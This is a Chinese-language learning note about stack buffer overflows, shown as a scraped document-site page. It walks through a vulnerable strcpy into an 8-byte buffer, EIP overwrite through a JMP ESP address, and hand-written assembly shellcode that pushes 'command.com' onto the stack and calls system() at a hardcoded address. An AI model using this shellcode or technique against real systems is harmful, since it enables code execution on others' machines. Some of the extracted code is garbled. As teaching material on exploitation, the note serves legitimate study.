缓冲区溢出学习笔记(1)

上传人:kms****20 文档编号:40881604 上传时间:2018-05-27 格式:DOC 页数:9 大小:35.50KB
返回 下载 相关 举报
缓冲区溢出学习笔记(1)_第1页
第1页 / 共9页
缓冲区溢出学习笔记(1)_第2页
第2页 / 共9页
缓冲区溢出学习笔记(1)_第3页
第3页 / 共9页
缓冲区溢出学习笔记(1)_第4页
第4页 / 共9页
缓冲区溢出学习笔记(1)_第5页
第5页 / 共9页
点击查看更多>>
资源描述

《缓冲区溢出学习笔记(1)》由会员分享,可在线阅读,更多相关《缓冲区溢出学习笔记(1)(9页珍藏版)》请在金锄头文库上搜索。

1、缓冲区溢出学习笔记缓冲区溢出学习笔记(1)(1)以前总是在各个论坛看帖子 前天黑手的缓冲区书到了 呵呵 随便写点 可能有写错的地方 大家多指教啊 看的脑袋都大了 太不好理解 自从认识掰搿嬲讎雠 以后才知道以前学的东西相当于幼儿园大班水平 哈哈 这一个月全是在网上到处逛找些堆栈的文章看 昨天黑客手册的缓冲区溢出的书到了。呵呵 作些笔记啥的 复习复习 呵呵 #inclue #include char name =“xiaoyu“; int main() char output8; strcpy(output,name); for(int i=0;i #include这我不解释了 头文件 因为后面使

2、用的strcpy 跟 printf 要用到 char name=“xiaoyu“ 是吧数组赋值 char output8; 给 output 分配 8 个 char 空间 把 name 里的字符拷贝给它 这样执行一下 只是把 xiaoyu 以 16 进制的形式打出来 没啥问题的 要是把 name 里改长点改成 1111111111111111111111111111111111111111111 这样就会报错了 呵呵 最简单的溢出 几个小知识 虽然会了 但是还是写出来 关于 PUSH 跟 POP 堆栈就是先进后出 这个概念大家都知道的 在操作系统中存和取的动作就是 PUSH 跟 POP PUS

3、H 放进去一个POP 取一个 这么个概念 因为我们第二次输入了一堆 11 可是 output 分配的还是 8 个字节 但是却拷贝了更多的近来 当执行完 main 函数以后系统要恢复 EBP EIP 而 EIP 已经被我们覆盖了 但是系统不知道 就会去执行那个东东 而那个位置是不可读的所以就会出错 呵呵 2.shllcode 啥叫 shellcode 呢 其实我的理解就是把我们想要的程序称为shellcode 比如我们想要的程序是开一个 DOS 窗口 就是下面这个程序 #include int main() LoadLibrary(“msvcrt.dll“); system(““); 当函数执行

4、完以后返回堆栈指针 ESP 会指向保存原 EIP 的地方 而指令指针 EIP 指向 ret 指令 ret 只另就相当于 POP EIP 就是把栈顶的指针 ESP 指象的值弹出来给 EIP 所以一般来说 Ret 执行后就可以把原来的 EIP 恢复 好到中断以前的流程 但是保存的 EIP 已经被我们覆盖成了 JMP ESP 的只另地址了 这样执行 ret 之后 EIP 就会被改成 JMP ESP 的地址 指向 JMP ESP 而堆栈指针 ESP 就会往下移一位 指向 shleecode 的第一个字节 而计算机不知道我们做了手脚 继续往下执行 EIP 指向的指令-JSP ESP 这样就开始执行了我们

5、的 shllcode 恩我再用具体的数字重复一下这个过程 FF E4 是 JMP ESP 的机器码 而在 windows200 下地址 0x77e0492b 里正好就是 FF E4 所以我们用 0x77e0492b 来覆盖 EIP 当程序返回时执行 ret=opo eip EIP 就变成 0x77e0492b 而 ESP 往下走指向 shllcode 系统会继续执行 执行 EIP 指令 就是FF E4 而此时 的 ESP 指向 shellcode 第一个字节 就执行了 FF E4 就正好进入了shllcode 当中了. 晕 写的我都快晕 了 不知道大家看懂没有 呵呵继续复习 嘿嘿 下面这个程序

6、大家仔细看哦 #include #include typedef void (*MYPROC)(LPTSTR); /定义函数指针 int main() HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle=LoadLibrary(“msvcrt.dll“); ProcAdd =(MYPROC)GetProcAddress(LibHandle,“system“); /查找system 函数地址 (ProcAdd)(““); /其实就是执行system(““) retuen 0; 饿 那个我解释下吧 typedef void (*MYPROC)(LPTSTR

7、); 定义了一个函数指针 指向函数的参数是字符串,返回值是空 相当于调用 system 函数 LibHandle=LoadLibrary(“msvcrt.dll“); 加载这个 msvcrt.dll 把句柄赋给 LibHandle ProcAdd =(MYPROC)GetProcAddress(LibHandle,“system“); 获得动态的连接句柄以后 我们再用GetProcAddress(LibHandle,“system“)获得 system 的真实地址 之后再用这个真实地址来调用 system 函数 执行该语句之后 ProcAdd 为指向 system 函数的指针。 (ProcAd

8、d)(““);因为此时的 PrcoAdd 为指向 system 函数的指针 所以 (ProcAdd)(““);就是 调用 system(““)来完成我们想要的功能。 我们执行一下 呵呵 又出来 DOS 窗口了 就是比原来的程序多了一个找 system 函数的地址 呵呵 现在来看一下 system 函数的地址 在 BV 中按 F10 进入调试 在Debug 工具栏里点最后一个 跟上回发的那个一样 然后在按 Registers 这样就出现了源程序跟汇编代码和寄存器的状态 我们继续按 F10 直到 LibHandle=LoadLibrary(“msvcrt.dll“);那句下的 call dword

9、 ptr _imp_LoadLibraryA4 (0042a14c) 执行完以后 我们就可以在寄存器的窗口中发先 EAX 变成了 77BE0000 在 2003 上就是 780000 说明机器上的 msvcrt.dll 的地址就是 0x77BE0000 那句 call dword ptr _imp_LoadLibraryA4 (0042a14c)就是执行 LoadLibrary(“msvcrt.dll“); 返回值就是 msvcrt.dll 的地址 而函数的返回值通常都是放在 EAX里 这就算是计算机系统的约定吧 所以LoadLibrary(“msvcrt.dll“);的 返回值就存在 EAX

10、 里 就是 77BE0000 一样的办法我们用 F10 继续执行 到 ProcAdd =(MYPROC)GetProcAddress(LibHandle,“system“); 那的指令以后 就可以发现 EAX 又变了 那个就是 system()函数的地址 这里我不截图了 最后就是 DOS 窗口弹出来了 呵呵 我在说一下函数调用 在 windows 系统里函数调用跟 LINUX 不一样的 在 windows 下 调用一个函数需要把动态连接库 Load 进去 这个大家可能都知道 而在执行的时候用堆栈传递参数 然后直接 CALL 这个函数的地址就行 了 LINUX 需要使用系统中断 比如在 wind

11、ows 下执行函数 Func(argv1,argv2,argv3)先把函数从右到左压入堆栈 然后 CALL Func 函数的地址 其实就是两步 一个是保存当前的 EIP 另一个就是跳到 Func 函数地址执行 就是 PUSH EIP +Jmp Func 不知道明白没. 呵呵 昨天晚上没写完 一天一章 嘿嘿饿.吃完饭了 又该写东西了 呵呵 偶们知道了 system 函数的地址是 0x77BF93C7 (至于怎么来的我上篇已经讲的超级清楚了.) 也知道函数的执行原理 那我们就来直接写出system(““)的汇编代码 我们根据前面的分析 ,执行 system(““) 只需要把参数 command.e

12、xe 的字符串地址入栈 再 CALL System 的地址就可以鸟 但是我们现在不知道 的字符串地址 但是我们可以自己来构造 我们把 command.exe 一个字符一个字符压入堆栈 这样 字符串就有了 而且 ESP 正好就是 字符串的地址 我们来看一下这个 我大概写一下 Push c -ESP 我不知道我的意思表达出来没有. 不太会画 Push o Push m Push m Push a . 有了字符串跟字符串地址 ESP 我们把 ESP 压入堆栈 就是system(““)函数参数 字符串的地址 Push esp Push c Push o Push m Push m Push a

13、大概就是这样吧 最后我们 CALL System 函数的地址就行了 我的 XPsystem 函数的地址是 0x77BF93C7 所以 CALL 0x77BF93C7 我们刚才用的一个字节一个字节的压入 我们都知道 Push 是四字节堆砌的 所以就是一定会压入四个字节 我们需要在细节上改动一下 Push 入堆栈是四个字节 那么我们也可以不用 Push 直接用赋值的方法 我给大家写出来 mov esp,ebp; push ebp; mov ebp,esp; 把当前的 esp 赋给 ebp xor edi,edi; push edi; 压入 0, esp-4; 作用是构造字符串的结尾0 字符 sub

14、 esp, 08h; 加上上面的 一共有 12 个字节 用来放 mov byte ptr ebp-0ch,63h; c mov byte ptr ebp-0bh,6fh; o mov byte ptr ebp-0ah,6dh; m mov byte ptr ebp-09h,6Dh; m mov byte ptr ebp-08h,61h; a mov byte ptr ebp-07h,6eh; n mov byte ptr ebp-06h,64h; d mov byte ptr ebp-05h,2Eh; . mov byte ptr ebp-04h,63h; c mov byte ptr eb

15、p-03h,6fh; o mov byte ptr ebp-02h,6dh; m 一个一个生成串 lea eax,ebp-0ch; push eax; 串地址作为参数入栈 mov eax, 0x77BF93C7; call eax; CALL system 函数地址 那个我简单解释一下昂.不然有骂我. mov ebp,esp 就是把 ESP 的值赋给 ebp 作为栈底,而 push edi 和sub esp,08h 是把 esp 减去 12 个字节 这 12 个字节就是用来放 然后 mov byte ptr ebp-0ch,63ch 那些指令 是把我们 一个字节一个字节的放进留出的空间 我们用 lea eax,ebp-0ch来构造 的字符串地址 最后push eax 把地址压入堆栈 call system 函数地址就完成了 然后我们来验证一下 在 VC 里 可以用_asm 关键字来插入汇编 然后我们把 system(“command.ex

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 生活休闲 > 科普知识

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号